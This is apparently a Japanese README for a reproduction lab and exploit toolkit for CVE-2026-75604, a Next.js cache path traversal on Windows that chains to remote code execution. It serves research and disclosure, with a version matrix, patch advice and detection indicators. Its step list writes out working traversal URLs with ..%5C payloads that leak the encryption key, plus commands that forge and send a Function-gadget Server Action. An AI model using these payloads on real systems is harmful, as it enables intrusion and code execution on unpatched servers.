
CVE-2026-75604の再現ラボおよびエクスプロイトツール。Next.jsのインクリメンタルキャッシュにおけるパストラバーサルであり、Windows上で未認証のRCEにつながる脆弱性です。PoC、forge CLI、テスト用ハーネスが含まれています。
CVE-2026-75604 の再現ラボおよびエクスプロイトツール群。これは Next.js インクリメンタルキャッシュにおける認証なしパストラバーサルで、Windows ホストに影響します。エスケープされていない単一のバックスラッシュにより、攻撃者はキャッシュディレクトリ外のファイルを読み書きできます。特定のバージョンとアプリ構成では、認証なしリモートコード実行(RCE) に連鎖します。
調査: Fortbridge。詳細な解説: [CVE-2026-75604 の再現](https://fortbridge.co.uk/ (ブログリンク - 公開後に更新)。
⚠️ 許可されたテストのみ。 これは意図的に脆弱性を含むアプリケーションであり、パッチ適用済み CVE に対する動作するエクスプロイトです。自分が所有する隔離されたラボネットワークでのみ使用してください。本番環境やインターネットから到達可能な場所にターゲットをデプロイしないでください。
escapePathDelimiters(Next.js ルーターのユーティリティ)は /、#、? をエスケープしますが、\ はエスケープしません。ルートセグメント内のパーセントエンコードされたバックスラッシュ(%5C)は生の にデコードされ、インクリメンタルキャッシュキーに残存し、Windows では がパス区切り文字であるため、 がキャッシュルートの外へ移動します。同じコードがキャッシュのの両方を支えており、任意のファイル読み取り・書き込みが可能になります。Windows のみ。Linux/macOS では は通常のファイル名文字として扱われます。
\\path.join()\影響を受けるバージョン: 13.4-15.5.23 および 16.0-16.3.2。修正済み: 15.5.24 / 16.3.3。
トラバーサルは影響を受ける全範囲に及びますが、RCE ガジェット(Function コンストラクタに解決される React Flight の constructor:constructor プロパティチェーン)は、react-server-dom-webpack にライフサイクル途中で追加された参照ガードが存在しない場合にのみ機能します:
| Next.js の範囲 | ガジェット → Function | 影響 |
|---|---|---|
| 13.4 - 14.x | なし(プロパティパス非対応) | 読み取り / 書き込み / 認可バイパス |
| 15.0.0 - 15.5.22 | あり | RCE 可能 |
| 15.5.23 | なし(ガード追加済み) | トラバーサルのみ |
| 16.0.0 - 16.2.x | あり | RCE 可能 |
| 16.3.0 - 16.3.2 | なし(ガード追加済み) | トラバーサルのみ |
| 15.5.24 / 16.3.3 | - | パッチ適用済み |
RCE にはさらに、アプリ側の高階 Server Action が必要です。これはユーザー入力でクロージャにバインドされた値を呼び出すものです(boundFn(input)())。このパターンがないアプリでも、情報漏洩、書き込み/DoS、Server Action の認可バイパスに直面します。research/FINDINGS.md および research/rce-version-matrix.txt を参照してください。
| パス | 内容 |
|---|---|
setup-windows.ps1 | Windows ホスト上で脆弱なラボをビルド・起動(デフォルト Next 16.2.0) |
app/ | 最小の脆弱なターゲット: ホーム Server Action(RCE シンク)+ 2 つのキャッシュされたキャッチオールルート |
exploit.mjs | 読み取り専用 PoC - トラバーサルを介して encryptionKey を漏洩(--burp、--raw、--write) |
forge-cli.mjs | 正規のバインド済み引数を decrypt / Function ブロブを gadget で偽造 |
send-action.mjs | 手順 4〜5 を 1 コマンドで実行: 偽造 POST + 出力の読み戻し(--proof、--burp) |
harness/ | OS 非依存の再発見 - 未修正の 16.3.2/16.3.3 コードを path.win32 で実行 |
BURP-STEPS.md | 一貫した 5 ステップの再現レシピ |
research/ | パッチ差分、バージョンマトリックス、調査結果 |
evidence/ | 検証済み実行のスクリーンショット |
# 脆弱なラボをビルド・起動(Next.js 16.2.0)
powershell -File setup-windows.ps1 # BUILD_ID と確認用 URL を出力
# ステップ 1(ブラウザ): ウォームアップ後、トラバーサル読み取りを開く → encryptionKey
# http://<host>:3000/app-cache/..%5C..%5Cserver-reference-manifest (ウォームアップ)
# http://<host>:3000/_next/data/<BUILD_ID>/pages-cache/..%5C..%5Cserver-reference-manifest.json
# ステップ 2〜3: 正規のバインド済み引数を復号し、Function ガジェットを偽造
node forge-cli.mjs decrypt <key> <actionId> <blob-from-page>
node forge-cli.mjs gadget <key> <actionId>
# ステップ 4〜5(Burp 経由): 偽造 POST + 読み戻しを 1 コマンドで実行
node send-action.mjs http://<host>:3000 --key <key> --action <actionId> --proof pwn --burp
Windows マシンがない場合? node harness/harness.mjs は、実際に配布されている Next.js 16.3.2 および 16.3.3 のコードを path を path.win32 にバインドして実行することで、任意の OS でトラバーサルを証明します。
15.5.24 または 16.3.3 にアップグレードしてください。影響を受ける Windows ホストに対するその場での回避策はありません。読み取りによって露出した可能性のあるシークレットをローテーションしてください。特に NEXT_SERVER_ACTIONS_ENCRYPTION_KEY(固定されたキーは再ビルド後も有効なままです)に注意してください。
/_next/data/… またはキャッシュされた App Router パスへのルートセグメント内の %5C / ..%5C を含むリクエスト。{"pageProps":…,"__N_SSG":true} スタブであるビルドマニフェスト(破壊的な読み取り)。.next\server\app\ または .next\server\pages\ の外側に書き込まれたキャッシュファイル(.html / .rsc / .meta)。